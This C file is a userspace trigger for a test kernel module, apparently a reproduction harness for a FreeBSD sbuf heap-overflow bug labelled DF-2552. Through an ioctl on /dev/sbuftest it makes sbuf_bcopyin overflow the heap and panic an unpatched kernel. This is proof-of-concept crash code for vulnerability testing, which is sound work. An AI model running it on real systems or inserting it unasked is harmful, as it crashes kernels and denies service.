/*
 * DF-2552 — Userspace trigger for the sbuftest kernel module.
 *
 * Opens /dev/sbuftest and issues an ioctl.  The module's ioctl handler
 * calls sbuf_bcopyin with the crafted overflow length.  On the unpatched
 * kernel, this causes a heap overflow -> kernel panic.
 *
 * This trigger is UNPRIVILEGED (any user can open /dev/sbuftest which is
 * mode 0666), but the MODULE must be loaded by root first (kldload), so
 * the overall demonstration is a HARNESS, not an unpriv->root escalation.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main(void)
{
    int fd = open("/dev/sbuftest", O_RDONLY);
    if (fd < 0) {
        perror("open /dev/sbuftest");
        fprintf(stderr, "Is the sbuftest module loaded? (kldload sbuftest)\n");
        return 1;
    }
    printf("TRIGGER: opened /dev/sbuftest, issuing ioctl to trigger overflow...\n");
    fflush(stdout);
    /* The ioctl handler ignores cmd/data; the overflow happens regardless */
    if (ioctl(fd, 0, NULL) < 0) {
        perror("ioctl");
        close(fd);
        return 1;
    }
    printf("TRIGGER: ioctl returned (unexpected if overflow occurred)\n");
    close(fd);
    return 0;
}